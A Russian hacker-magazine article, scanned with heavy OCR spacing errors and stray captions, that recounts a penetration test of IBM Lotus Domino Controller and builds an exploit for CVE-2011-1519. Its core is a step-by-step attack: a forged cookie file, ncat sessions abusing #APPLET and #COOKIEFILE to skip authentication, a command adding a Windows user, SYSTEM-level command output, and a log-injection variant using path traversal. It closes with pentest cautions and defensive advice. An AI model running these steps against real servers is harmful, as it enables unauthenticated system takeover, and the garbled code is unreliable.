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Пробивая Lotus, 
или история 
одного пентеста 
ЭКСПЛУАТИРУЕМ ПРИВАТНУЮ Д Ы Р У 
В LOTUS DOMINO CONTROLLER 
В этой статье я хотел бы рассказать об одном 
рабочем дне пентестера, которому, вопреки 
распространенному мнению, недостаточно просто 
запустить сканер и ждать отчета. Ему нередко 
приходится проявлять смекалку и прямо во время 
теста на проникновение писать сплоиты. 
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ПРЕДЫСТОРИЯ 
Однажды я проверял надежность защиты очередного объекта. На этот 
раз вся инфраструктура была поднята за счет оборудования и софта IBM, 
что совершенно точно влетело з а к а з ч и к у в копеечку. Основную часть 
инфраструктуры, к а к это обычно бывает, составляли сервера Lotus. В 
данном случае их было много. Очень много. На Lotus была построена вся 
кухня к о м п а н и и : почта, совещания, управление контентом и т. п. Кстати, 
здесь вполне уместно вспомнить старую статью Александра Полякова, в 
которой он героически описывал свой опыт покорения этого ПО. Однако 
время беспощадно, и те т р ю к и , которые ещё пару лет назад работали на 
ура, сегодня уже не дают абсолютно н и к а к о г о профита. Обновленный 
монструозный Lotus смотрел на меня к а к на обычного пользователя безо 
всяких прав.:) В такой ситуации любой начинающих в з л о м щ и к полез 
бы на баг-трекеры и начал искать, к чему можно прицепиться, кроме 
устаревшего names.nsf в веб-сервисах. 

На серверах, которые я тестировал, стоял почти самый с в е ж и й Lotus 
8.5.2FP2. Ни Метасплойт, ни explo i t-db.com не порадовали меня ничем 
дельным. Однако я решил не полагаться на т а к и е попсовые и с т о ч н и к и 
эксплойтов и обратился за помощью в п о и с к е багов без сплойтов к ленте 
BugTraq, ZDI, сайту IBM с secur i ty-обновлениями и Гуглу. В результате 
я нашел кучу уязвимостей, связанных с переполнением буфера в раз­
личных сервисах, а т а к ж е баг, п о з в о л я ю щ и й обойти аутентификацию и 

выполнить произвольный код. Однако эксплойтов для всех этих уязвимо-
стей не существовало, а описания о ш и б о к были очень поверхностными 
и указывали л и ш ь общее направление, в котором нужно двигаться. На 
первый взгляд, такие указания н и к а к не могли помочь в разработке 
хоть сколько-нибудь эффективного эксплойта, но надо было двигаться 
дальше.:) 

СКАЗ ПРО CVE-2011-1519 
Бегло п р о с м о т р е в р а з л и ч н ы е у я з в и м о с т и , я о с т а н о в и л с я на баге с 
обходом а у т е н т и ф и к а ц и и , п о з в о л я ю щ е м в ы п о л н и т ь п р о и з в о л ь н ы й к о д 
la это к а к раз то, о чем мечтает к а ж д ы й пентестер). Эта у я з в и м о с т ь , п о ­
л у ч и в ш а я на сайте ZDI к о д ZDI-11—110, на м о м е н т п р о в е д е н и я пентеста 
ч и с л и л а с ь к а к 0day (сейчас у ж е имеется с о о т в е т с т в у ю щ и й патч). П р и ­
веду п е р е в о д о п и с а н и я у к а з а н н о й у я з в и м о с т и с этого сайта: 

«Эта у я з в и м о с т ь п о з в о л я е т у д а л е н н о м у а т а к у ю щ е м у в ы п о л н и т ь 
п р о и з в о л ь н ы й к о д н а у я з в и м о й и н с т а л л я ц и и Lotus D o m i n o S e r v e r 
Control ler. Д л я э к с п л у а т а ц и и у я з в и м о с т и н е требуется а у т е н т и ф и ­
к а ц и я . Проблема с у щ е с т в у е т в р е а л и з а ц и и ф у н к ц и о н а л а у д а л е н н о й 
к о н с о л и , к о т о р а я по у м о л ч а н и ю с л у ш а е т TCP-порт 2050. При а у т е н ­
т и ф и к а ц и и п о л ь з о в а т е л я с е р в е р и с п о л ь з у е т з н а ч е н и е параметра 
COOKIEFILE, в к о т о р о м п о л ь з о в а т е л ь п е р е д а е т путь д л я п о л у ч е н и я 
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П р о б и в а я L o t u s , и л и и с т о р и я о д н о г о п е н т е с т а 

с о х р а н е н н ы х а у т е н т и ф и к а ц и о н н ы х д а н н ы х . П р и л о ж е н и е с р а в н и в а е т 
д а н н ы е из этого файла с д а н н ы м и п о л ь з о в а т е л я . Путь м о ж е т быть 
п р е д с т а в л е н в виде UNC, что п о з в о л и т а т а к у ю щ е м у к о н т р о л и р о в а т ь 
оба с р а в н и в а е м ы х з н а ч е н и я . Эксплуатируя эту у я з в и м о с т ь , у д а л е н н ы й 
а т а к у ю щ и й с м о ж е т в ы п о л н и т ь к о д с п р а в а м и SYSTEM». 

Это о п и с а н и е в п о л н е р а с к р ы в а е т всю суть п р о б л е м ы : во время 
а у т е н т и ф и к а ц и и а т а к у ю щ и й м о ж е т п о д м е н и т ь п а р а м е т р COOKIEFILE 
на параметр, с о д е р ж а щ и й путь к файлу \ \ e v i l h o s t \ p a s s w o r d _ c o o k i e _ f i l e , 
к о т о р ы й находится под к о н т р о л е м с а м о г о а т а к у ю щ е г о . В этот файл к а к 
раз и входит с т р о к а , с р а в н и в а е м а я с п а р о л е м , к о т о р ы й в в о д и т с я п р и 
а у т е н т и ф и к а ц и и . Однако более подробная и н ф о р м а ц и я в о п и с а н и и 
у я з в и м о с т и о т с у т с т в о в а л а . 

ПРОТОКОЛ 
И т а к , мы з н а е м , что у я з в и м а я с л у ж б а в и с и т на порте 2050. Это о ч е в и д ­
но, т а к к а к к о н т р о л л е р Lotus всегда находится там. Однако п р о т о к о л 
о б щ е н и я л и ч н о мне был н е и з в е с т е н . П о г у г л и в и н ф о р м а ц и ю об этом 
п р о т о к о л е , я н и ч е г о не н а ш е л . В то же самое время мой н а п а р н и к 
А л е к с а н д р М и н о ж е н к о з а м е т и л , что автор бага, д о с т а т о ч н о и з в е с т ­
ный п е н т е с т е р и х а к е р и з Ш в е ц и и П а т р и к К а р л с о н , т а к ж е является 
а в т о р о м модулей д л я к у л ь т о в о г о с к а н е р а n m a p . Н е к о т о р ы е из этих 
модулей к а к раз работают с L o t u s - к о н т р о л л е р о м , н а п р и м е р модуль 
д л я брутфорса и в ы п о л н е н и я к о д а , п р е д н а з н а ч е н н ы й д л я тех случаев, 
к о г д а пароль и з в е с т е н . 

Р а с с м о т р и м к о д этих м о д у л е й : 

s o c k e t : r e c o n n e c t _ s s l ( ) 

s o c k e t : s e n d ( " # A P I \ n " ) 

s o c k e t : s e n d ( ( " # U I % s , % s \ n " ) : f o r m a t ( u s e r , p a s s ) ) 

s o c k e t : r e c e i v e _ l i n e s ( 1 ) 

s o c k e t : s e n d ( " # E X I T \ n " ) 

К а к в и д н о , а у т е н т и ф и к а ц и я в L o t u s - к о н т р о л л е р е в ы г л я д и т 
д о с т а т о ч н о просто: это SSL-туннель, в к о т о р о м все к о м а н д ы идут 
о т к р ы т о м т е к с т о м и н а ч и н а ю т с я с с и м в о л а « # » . Т а к и м о б р а з о м , д л я 
а у т е н т и ф и к а ц и и с л о г и н о м a d m i n и паролем pass нам н у ж н о в в е с т и 
к о м а н д у « # U I a d m i n , p a s s » . Этот ф а к т не с л и ш к о м п р и б л и ж а е т нас к п о ­
н и м а н и ю т о г о , к а к о с у щ е с т в и т ь атаку, п о с к о л ь к у н и о д и н модуль n m a p 
не и с п о л ь з у е т путь COOKIEFILE д л я а у т е н т и ф и к а ц и и . Однако, п р о я в и в 
н е м н о г о с м е к а л к и , м о ж н о п р и д у м а т ь к о м а н д у «#COOKIEFILE \\evil\ 
f i le». П р о т е с т и р о в а в эту команду, я не п о л у ч и л р о в н ы м счетом н и ч е г о , 
д а ж е у в е д о м л е н и я об о ш и б к е в с и н т а к с и с е [это г о в о р и т нам о т о м , что 
сама по себе к о м а н д а вроде бы верна). 

ПОЧТИ РЕВЕРС-ИНЖИНИРИНГ 
После всех б е з у с п е ш н ы х п о п ы т о к в н и к н у т ь в к о д а л г о р и т м а мне п р и ­
ш л о с ь д е к о м п и л ь н у т ь к о д к о н т р о л л е р а . В ы я с н и л о с ь , что к о н т р о л л е р 
п о л н о с т ь ю н а п и с а н на Java, поэтому и IDA Pro, и Оля-дебаггер о к а з а -
л и с ь н е н у ж н ы . П р и г о д и л с я о б ы к н о в е н н ы й D J d e c o m p i l e r [ m e m b e r s . 

N c a t - а т а к а 

f o r t u n e c i t y . c o m / n e s h k o v / d j . h t m l ) , к о т о р ы й п р е в р а т и л j a r - ф а й л C:\ 
P r o g r a m Fi les\ IBM\Lotus\Domino\Data\domino\ java\dconsole. jar в к у ч у 
п р а к т и ч е с к и п о л н о с т ь ю ч и т а е м о г о J a v a - к о д а . В о с п о л ь з о в а в ш и с ь 
п о и с к о м , я быстро н а ш е л в п о л у ч е н н ы х файлах к л а с с NewCl ient .c lass, 
о т в е ч а ю щ и й за работу с к о н с о л ь ю и а у т е н т и ф и к а ц и ю . Д а в а й в з г л я н е м 
на сам к о д : 

// s1 - с т р о к а в в о д а с 2 0 5 0 / t c p 

i f ( s l . e q u a l s ( " # E X I T " ) ) 

r e t u r n 2 ; 

i f ( s 1 . e q u a l s ( " # C O O K I E F I L E " ) ) 

i f ( s t r i n g t o k e n i z e r . h a s M o r e T o k e n s ( ) ) 

// А г а . Мы были п р а в ы : 

/ / # C O O K I E F I L E < п у т ь к ф а й л у > 

c o o k i e F i l e n a m e = s t r i n g t o k e n i z e r . n e x t T o k e n ( ) . t r i m ( ) ; 

r e t u r n 7 ; 

i f ( ! l . e q u a l s ( " # U I " ) ) 

i f ( s t r i n g t o k e n i z e r . h a s M o r e T o k e n s ( ) ) 

/ / А у т е н т и ф и к а ц и я . . . 

u s r = s t r i n g t o k e n i z e r . n e x t T o k e n ( " , " ) . t r i m ( ) ; 

i f ( u s r = = n u l l ) 

r e t u r n 4 ; 

i f ( s t r i n g t o k e n i z e r . h a s M o r e T o k e n s ( ) ) 

/ / П а р о л ь п о с л е з а п я т о й , э т о м ы и т а к з н а л и 

pwd = s t r i n g t o k e n i z e r . n e x t T o k e n ( ) . t r i m ( ) ; 

r e t u r n 0 ; 

Н а ш и д о г а д к и о ф о р м а т е к о м а н д о к а з а л и с ь в е р н ы . Т е п е р ь д а в а й 

н а й д е м и н т е р е с у ю щ и й н а с п р о ц е с с а у т е н т и ф и к а ц и и : 

/ * Ц и к л ч т е н и я в в о д а * / 

d o { 

/ / R e a d F r o m U s e r - э т а ф у н к ц и я была в п р е д ы д у щ е м л и с т и н г е 

i n t i = R e a d F r o m l l s e r ( ) ; 

i f ( i = = 6 ) { / / Е с л и # A P P L E T 

a p p l e t C o n n e c t i o n = t r u e ; 

c o n t i n u e ; 

} 

u s e r i n f o = U s e r M a n a g e r . f i n d U s e r ( u s r ) ; 

i f ( u s e r i n f o = = n u l l ) { 

/ / Е с л и ю з е р н е н а й д е н . . . Б а г ! 

W r i t e T o U s e r ( " N O T _ R E G _ A D M I N " ) ; 

c o n t i n u e ; 

} 

i f ( ! a p p l e t C o n n e c t i o n ) 

/ / Е с л и н е было # A P P L E T , т о о б ы ч н а я а у т е н т и ф и к а ц и я 

f l a g = v r f y P w d . v e r i f y U s e r P a s s w o r d ( p w d , u s e r i n f o . u s e r P W D ( ) ) ; 

e l s e / / Е с л и ж е была к о м а н д а # A P P L E T 

/ / А у т е н т и ф и к а ц и я п о C O O K I E ? А г а ! 

f l a g = v e r i f y A p p l e t U s e r C o o k i e ( u s r , p w d ) ; 

} w h i l e ( t r u e ) ; / / e n d l o o p 

i f ( f l a g ) / / Е с л и р е з у л ь т а т а у т е н т и ф и к а ц и и п о л о ж и т е л ь н ы й , 

/ / з а г р у з и т ь к о н с о л ь у п р а в л е н и я , у р а ! 

И з этого к о д а в и д н о , что нам н е о б х о д и м о « в к л ю ч и т ь » у я з в и м ы й 
м е х а н и з м а у т е н т и ф и к а ц и и с п о м о щ ь ю к о м а н д ы # A P P L E T до и с п о л ь ­
з о в а н и я # U I и #COOKIEFILE. К р о м е т о г о , д е л о не д о й д е т до а у т е н ­
т и ф и к а ц и и , е с л и ты не з н а е ш ь л о г и н , к о т о р ы й с о д е р ж и т с я в файле 
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в з л о м 

a d m i n d a t a . x m l . Тем не менее, по ответу с е р в е р а мы с м о ж е м п о н я т ь , 

с у щ е с т в у е т т а к о й л о г и н или нет (ответ N O T _ R E G _ A D M I N и з л и с т и н г а ) ! 

Такая у я з в и м о с т ь н а з ы в а е т с я « р а с к р ы т и е с у щ е с т в у ю щ и х л о г и н о в 

с и с т е м ы » . Д л я б ы с т р о й п р о в е р к и я п р о б р у т ф о р с и л в р у ч н у ю н е с к о л ь -

ко самых п о п у л я р н ы х л о г и н о в в т е с т и р у е м о й с и с т е м е и о б н а р у ж и л 

ю з е р а a d m , к о т о р ы й п о н а д о б и т с я нам д л я р е а л и з а ц и и д а л ь н е й ш и х 

э т а п о в а т а к и . 

Теперь р а с с м о т р и м ф у н к ц и ю а в т о р и з а ц и и v e r i f y A p p l e t U s e r C o o k i e : 

/ / # C O O K T E F I L E < c o o k i e F i l e n a m e > 

i f ( c o o k i e F i l e n a m e = = n u l l | | c o o k i e F l l e n a m e . l e n g t h ( ) = = 0 ) 

r e t u r n f l a g ; 

//Еще о д и н б а г - о т к р ы т и е файла без фильтрации в в о д а ! 

F i l e f i l e = new F i l e ( c o o k i e F i l e n a m e ) ; 

i n p u t s t r e a m r e a d e r = n e w I n p u t S t r e a m R e a d e r ( 

new F i l e l n p u t S t r e a m ( f i l e ) , " U T F 8 " ) ; 

/ / s 7 - с о д е р ж и м о е ф а й л а c o o k i e F i l e n a m e 

d o { 

i f ( ( j = s 7 . i n d e x O f ( " < u s e r " , j ) ) < = 0 ) b r e a k ; 

S t r i n g s 2 = g e t S t r i n g T o k e n ( s 7 , " u s e r = \ " " , " \ " " , j , k ) ; 

S t r i n g s 3 = g e t S t r i n g T o k e n ( s 7 , " c o o k i e = \ " " , " \ " " , i , k ) ; 

S t r i n g s 4 = g e t S t r i n g T o k e n ( s 7 , " a d d r e s s = \ " " , "\"", j , k ) ; 

i f ( s 5 . e q u a l s I g n o r e C a s e ( s 2 ) & 8 s 6 . e q u a l s I g n o r e C a s e ( s 3 ) 

& & a p p l e t U s e r A d d r e s s . e q u a l s I g n o r e C a s e ( s 4 ) ) { / / У р а ! 

f l a g = t r u e ; b r e a k ; 

} 

} w h i l e ( t r u e ) ; 

Из кода видно, что е с л и в в е д е н н ы е при а у т е н т и ф и к а ц и и з н а ч е н и я 

u s e r n a m e , p a s s w o r d и a d d r e s s равны з н а ч е н и я м u s e r n a m e , p a s s w o r d 

и a d d r e s s из cookief i le, к о т о р ы й мы к о н т р о л и р у е м , то а у т е н т и ф и к а ц и я 

п р о й д е т у с п е ш н о ! Т а к и м о б р а з о м , м ы м о ж е м с о с т а в и т ь п р и м е р н ы й 

а л г о р и т м а т а к и : 

1. С к р и п т и щ е т т е г < u s e r > в у к а з а н н о м нами файле. 

2. В этом теге с ч и т ы в а ю т с я з н а ч е н и я u s e r n a m e , p a s s w o r d , a d d r e s s . 

3. Д а л е е с ч и т а н н ы е пара метры с р а в н и в а ю т с я с т е м и , которые ввел 

п о л ь з о в а т е л ь . 

4. Так к а к путь к о т к р ы в а е м о м у файлу не фильтруется п р и вводе, мы 

м о ж е м у к а з а т ь путь к п р о и з в о л ь н о м у файлу и о б о й т и т а к и м образом 

з л о с ч а с т н у ю а у т е н т и ф и к а ц и ю . 

РАНЕЕ ПРИВАТНЫЙ ЭКСПЛОЙТ Д Л Я CVE-2011-1519 
Теперь п е р е й д е м н е п о с р е д с т в е н н о к р е а л и з а ц и и н а ш е й а т а к и . 

1 . С о з д а е м ф а й л с о о к i е . х m l : 

< u s e r n a m e = " u s r " c o o k i e = " p s w " a d d r e s s = " d s e c r g " > 

К а к т ы у ж е п о н я л , л о г и н usr д о л ж е н реально с у щ е с т в о в а т ь . 

2. Сохраняем п о л у ч е н н ы й файл либо у себя в шаре, либо на м е с т н о м 

файловом сервере, у к а з а в путь \ \ f i l e s e r v e r \ p u b l i c \ c o o k i e . x m l . 

3. Теперь п о д к л ю ч и м с я к у я з в и м о м у серверу с п о м о щ ь ю ncat: 

n c a t - - s s l t a r g e t l o t u s _ h o s t 2 0 5 0 

# A P I 

# A P P L E T 

# C O O K I E F I L E \ \ f i l e s e r v e r \ p u b l i c \ c o o k i e . x m l 

#USERADDRESS d s e c r g 

# U I u s r , p s w 

V A L I D _ U S E R 

# E X I T 

LOAD C M D . e x e / С n e t u s e r a d d u s e r n a m e p a s s w o r d / A D D 

B e g i n D a t a 

К о м а н д а # A P P L E T г о в о р и т серверу о т о м , что мы хотим и с п о л ь ­

з о в а т ь файл cookie для а у т е н т и ф и к а ц и и . К о г д а мы пробуем п р о й т и 

а у т е н т и ф и к а ц и ю с п о м о щ ь ю к о м а н д ы # U I , сервер пытается о т к р ы т ь 

файл, путь к к о т о р о м у у к а з а н в #COOKIEFILE. Из этого файла и берутся 

ф е й к о в ы е д а н н ы е , к о т о р ы е с е р в е р с р а в н и в а е т с в в е д е н н ы м и нами 

л о г и н о м и п а р о л е м . После к о м а н д ы #EXIT з а п у с к а е т с я процесс об­

р а б о т к и ввода д л я а у т е н т и ф и ц и р о в а н н о г о п о л ь з о в а т е л я , то есть мы 

получаем д о с т у п к серверу! Вот т о л ь к о к а к им управлять? Если ты п о м ­

н и ш ь с о о т в е т с т в у ю щ у ю с т а т ь ю Саши П о л я к о в а , то в ней о п и с ы в а л а с ь 

к о м а н д а LOAD, ф а к т и ч е с к и п о з в о л я в ш а я нам з а п у с к а т ь к о м а н д н у ю 

с т р о к у с п а р а м е т р а м и . Е д и н с т в е н н ы й минус этого способа з а к л ю ч а л с я 

в о т с у т с т в и и обратной с в я з и , то есть мы не м о г л и в и д е т ь результат в ы ­

п о л н е н и я к о м а н д ы . К р о м е т о г о , в н а с т о я щ и й момент IBM н а с т о я т е л ь н о 

р е к о м е н д у е т з а щ и щ а т ь к о м а н д у LOAD с п о м о щ ь ю д о п о л н и т е л ь н о г о 

с е р в и с н о г о п а р о л я , обойти к о т о р ы й у нас у ж е не п о л у ч и т с я . Однако 

мы м о ж е м , к а к в n m a p - м о д у л я х , в ы п о л н я т ь к о м а н д ы , в в о д я их п о с л е 

с и м в о л а д о л л а р а . В д а н н о м случае метод LOAD и с е р в и с н ы й пароль ни 

п р и ч е м , н о о п р е д е л е н н ы е п р и в и л е г и и а в т о р и з о в а н н о м у п о л ь з о в а т е ­

лю все равно н у ж н ы : 

n c a t - - s s l t a g e t l o t u s _ h o s t 2 0 5 0 

# A P I 

# A P P L E T 

# C O O K I E F I L E \ \ f i l e s e r v e r \ p u b l i c \ c o o k i e . x m l 

#USERADDRESS d s e c r g 

# U I u s r , p s w 

V A L I D _ U S E R 

# E X I T 

$ w h o a m i 

w h o a m i B e g i n D a t a 

M i c r o s o f t W i n d o w s [ V e r s i o n 6 . 1 . 7 6 0 1 ] 

C o p y r i g h t ( c ) 2 0 0 9 M i c r o s o f t C o r p o r a t i o n . A l l r i g h t s r e s e r v e d . 

С : \ L o t u s \ D o m i n o \ d a t a > w h o a m i 

N T A U T H O R I T Y \ S Y S T E M 

C : \ L o t u s \ D o m i n o \ d a t a > 

Б о л ь ш и м п р е и м у щ е с т в о м этого с п о с о б а является тот факт, что при 

его и с п о л ь з о в а н и и мы в и д и м еще и результат и с п о л н е н и я к о м а н д ы . 

Следует т а к ж е о т м е т и т ь , что в п р и в е д е н н о м в ы ш е л и с т и н г е д и р е к т и в а 

#АРI в к л ю ч а е т р е ж и м к о н с о л и , ч и с т ы й API без Java-вывода, — т а к и м 

о б р а з о м , работа с ncat с т а н о в и т с я еще более у д о б н о й . К с т а т и , если 

Lotus з а п у щ е н с д о м е н н о й у ч е т к о й , то мы в п о л н е м о ж е м о р г а н и з о в а т ь 

а т а к у т и п а SMBRelay. 

А ЧТО ЕСЛИ? 
Отлично, мы р е в е р с н у л и баг и ф а к т и ч е с к и с о з д а л и э к с п л о й т . Это все? 

Нет, есть и еще к о е - ч т о . В о - п е р в ы х , что ты будешь д е л а т ь в случае 

Г е о л о г и ч е с к а я с л у ж б а С Ш А 
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П р о б и в а я L o t u s , и л и и с т о р и я о д н о г о п е н т е с т а 

б л о к и р о в к и S M B - т р а ф и к а с а т а к у е м о г о сервера? Серверу, к о т о р ы й 
имеет выход в интернет, в п о л н е м о ж н о п о д с у н у т ь UNC (набор с и м в о ­
лов, к о т о р ы й у к а з ы в а е т р а с п о л о ж е н и е файла в файловой с и с т е м е ] . 
Если выхода в и н т е р н е т не имеется, то сервер не с м о ж е т д о б р а т ь с я 
д о файла и з - з а б а н а л ь н о г о м е ж с е т е в о г о э к р а н а . К р о м е того, IBM в ы ­
пустила п р о с т о й , но б е с п о щ а д н ы й патч: т е п е р ь к п а р а м е т р у cookief i le 
д о б а в л я е т с я т о ч к а «.» в самом начале п у т и . Т а к и м о б р а з о м , если мы 
в в о д и м что-то типа \\evi l\cookie\fi le, то в результате с е р в е р п о й д е т 
о т к р ы в а т ь файл, путь к к о т о р о м у имеет с л е д у ю щ и й в и д : .\\evil\cookie\ 
f i le, т а к что об UNC з д е с ь м о ж н о забыть. К р о м е т о г о , патч п р о в о д и т ау­
т е н т и ф и к а ц и ю к л и е н т а с п о м о щ ь ю SSL-сертификата, поэтому д о с т у п к 
к о н с о л и без него п о л у ч и т ь не выйдет. Но д а в а й забудем про с е р т и ф и ­
кат и р е ш и м первую проблему. В этом нам п о м о г у т сами п р о г р а м м и ­
сты I B M ! Из л и с т и н г а , в к о т о р о м о с у щ е с т в л я е т с я п а р с и н г cookief i le, 
в и д н о , что к о д е р ы хотели и с п о л ь з о в а т ь что-то т и п а XML-файла и 
XML-napcepa. Но на самом д е л е к о д не парсит XML, а просто и щ е т п о д ­
с т р о к у в с т р о к е ! Обрати в н и м а н и е , что, по м н е н и ю п р о г р а м м и с т о в IBM, 
XML-файл в и д а : 

< ? x m l v e r s i o n = " 1 . 0 " e n c o d i n g = " U T F - 8 " ? > 

< u s e r n a m e = " a d m i n " c o o k i e = " d s e c r g " a d d r e s s = " d s e c r g " > 

а н а л о г и ч е н вот этому н е п о т р е б с т в у : 

B l a - b l a - b l a < u s e r n a m e = " a d m i n " x X X x c o o k i e = " d s e c r g " X a d d r e s s = " 

d s e c r g " N Y A > 

Эта « о с о б е н н о с т ь » п о з в о л я е т нам и н ж е к т и р о в а т ь файл к у к и в 
л о к а л ь н ы е файлы сервера д л я п о с л е д у ю щ е г о и с п о л ь з о в а н и я этого 
файла в п р о ц е с с е о п и с а н н о й в ы ш е ф а л ь ш и в о й а у т е н т и ф и к а ц и и . П р и ­
м е р н ы й с ц е н а р и й а т а к и в д а н н о м случае м о ж е т в ы г л я д е т ь т а к : 
1 . И н ж е к т и м с о о к i е v a l u e s с п о м о щ ь ю сервиса M i c r o s o f t H T T P A P I 

serv ice (здесь и д а л е е \ r \ n — это просто Enter): 

n c a t t a r g e t h o s t 4 9 1 5 2 

GET / < u s e r H T T P / 1 . 0 \ r \ n 

\ r \ n 

n c a t t a r g e t h o s t 4 9 1 5 2 

GET / u s e r = " a d m i n " c o o k i e = " p a s s " a d d r e s s = " h t t p : / / s i t e . c o m " 

H T T P / 1 . 0 \ r \ n 

\r\n 

2. Теперь лог-файл на с е р в е р е будет в ы г л я д е т ь п р и м е р н о т а к : 

# S o f t w a r e : M i c r o s o f t H T T P A P I 2 . 0 

# V e r s i o n : 1 . 0 

# D a t e : 2 0 1 1 - 0 8 - 2 2 0 9 : 1 9 : 1 6 

2 0 1 1 - 0 8 - 2 6 1 1 : 5 3 : 3 0 1 0 . 1 0 . 1 0 . 1 0 1 5 2 9 0 2 1 0 . 1 0 . 9 . 9 

4 7 0 0 1 H T T P / 1 . 0 GET < u s e r 4 0 4 - N o t F o u n d -

2 0 1 1 - 0 8 - 2 6 1 1 : 5 3 : 3 0 1 0 . 1 0 . 1 0 . 1 0 1 5 2 9 0 5 1 0 . 1 0 . 9 . 9 

4 7 0 0 1 H T T P / 1 . 0 GET n a m e = " a d m i n " c o o k i e = " p a s s " a d d r e s s = " 

h t t p : / / s i t e . c o m " > 4 0 4 - N o t F o u n d -

Д в а з а п р о с а сделано не с л у ч а й н о : парсер от IBM будет и с к а т ь 
с т р о к у « < u s e r » с п р о б е л о м в к о н ц е , а все п р о б е л ы в з а п р о с е к о д и ­
руются к а к «%20» что нам не подходит). Таким о б р а з о м , мы д е л а е м 
п е р в ы й з а п р о с т а к , чтобы пробел после « < u s e r » п о с т а в и л сам веб-сервер ( м е ж д у з а п р о с о м и результатом мы у в и д и м 404 NotFound). 
Во втором з а п р о с е д о п и с ы в а е м все о с т а л ь н о е . 

3 . Теперь, п о с л е п о л у ч е н и я в а л и д н о г о файла к у к и путем и н ж е к т и р о в а -
ния в л о г и веб-сервера, э к с п л о й т и м все это д е л о : 

n с a t - - s s l t a g e t l o t u s _ h o s t 2 0 5 0 

# A P I 

ПРАВИЛА ВЫЖИВАНИЯ 
ПРИ ПЕНТЕСТЕ 

1. Н и к о г д а не з а п у с к а й ничего н и з к о у р о в н е в о г о , если ты его 
д о с к о н а л ь н о не знаешь. Например, если ты не знаешь, к а к работает 
ARP-POISONING, не стоит злоупотреблять им на проверяемом 
объекте (конечно, иногда так хочется нажать красивую к н о п о ч к у 
в Cain, но DoS на заводе или в банке — несоразмерная плата за 
перехваченный пароль от почтового я щ и к а к а к о г о - н и б у д ь офис-
менеджера на m a i l . r u ) . 

2. Н и к о г д а не з а п у с к а й э к с п л о й т , в котором ты не уверен. 
Эксплойт — это не то ПО, которое делает хакера хакером (или 
пентестера пентестером). Ведь если этот э к с п л о й т связан, 
например, с о ш и б к а м и при работе с памятью, то нужно быть 
уверенным не только в правильности версии у я з в и м о г о ПО, но и 
в правильности версии ОС, а иногда д а ж е в том, что уязвимое ПО 
имеет соответствующее о к р у ж е н и е (например, для использования 
некоторых э к с п л о й т о в необходимо установить Java 6 для ROP-
программы или отключить ASLR). 

3. Спрашивай разрешения у IT-специалистов твоего клиента, если 
хочешь п р о и з в е с т и к а к и е - л и б о действия, которые потенциально 
могут вызвать отказ в о б с л у ж и в а н и и . 

4. У пентестера н и к о г д а не бывает л и ш н е г о в р е м е н и . З а п о м н и это. Не 
стоит ковыряться в одном сервисе двое суток только для того, чтобы 
написать офигенный э к с п л о й т и проверить его на стабильность 

на к о п и и тестируемой системы. Это, конечно, круто, но в итоге ты 
проэксплуатируешь только один баг, а времени на 99 других у тебя 
просто не останется. Нужно уметь выбирать приоритеты в условиях 
о г р а н и ч е н н о г о времени и при отсутствии ресурсов. 

# A P P L E T 

# C O O K I E F I L E . . \ . . \ . . \ w i n d o w s \ s y s t e m 3 2 \ l o g f i l e s \ h t t p e r r \ 

h t t p e r r l . l o g 

#USERADDRESS h t t p : / / t w i t . t e r / a s i n t s o v 

# U I a d m i n , p a s s 

# E X I T 

$ w h o a m i 

NT A U T H O R I T Y / S Y S T E M 

В результате мы в п о л н е м о ж е м п о л у ч и т ь профит и без UNC, т а к к а к 
лог-файл м о ж е т быть л ю б ы м . 

ЗАЩИТА 
Стоит с к а з а т ь н е с к о л ь к о с л о в и о з а щ и т е от р а з р а б о т а н н о г о нами 
способа а т а к и . В о - п е р в ы х , а т а к у е м ы й сервис и с п о л ь з у е т с я с у г у б о 
д л я у з к и х а д м и н и с т р а т и в н ы х ц е л е й , поэтому о н н е д о л ж е н быть д о ­
с т у п е н п о л ь з о в а т е л я м л о к а л ь н о й сети, а т а к ж е в и д е н из и н т е р н е т а . 
Во-вторых, ни в коем случае не з а б ы в а й про п а т ч и и о б н о в л е н и я . 
В-третьих, п о с т а р а й с я не з а б ы т ь про с е р в и с н ы й пароль, к о т о р ы й уста­
н а в л и в а е т с я о д и н - е д и н с т в е н н ы й раз ч е р е з т у ж е самую к о н с о л ь (даже 
е с л и с е р в е р захватят, р а з л и ч н ы е о п а с н ы е к о м а н д ы вроде LOAD и TELL 
будут з а щ и щ е н ы ) . И п о с л е д н е е — время от в р е м е н и п р о в о д и аудит 
файла a d m i n d a t a . x m l . Здесь п е р е ч и с л е н ы все п о л ь з о в а т е л и к о н т р о л ­
лера с п а р о л я м и в MD5. К р о м е т о г о , т у т же п р о п и с а н ы их п р и в и л е г и и 
в виде д е с я т и ч н ы х з н а ч е н и й . З н а ч е н и я 4, 25 и 26 г о в о р я т о т о м , что 
у этого п о л ь з о в а т е л я есть п р и в и л е г и и на и с п о л н е н и е с и с т е м н ы х 
к о м а н д . Следи за т е м , чтобы у н е з н а к о м ы х ю з е р о в не было л и ш н и х 
п о л н о м о ч и й , и да пребудет с тобой Сила! 
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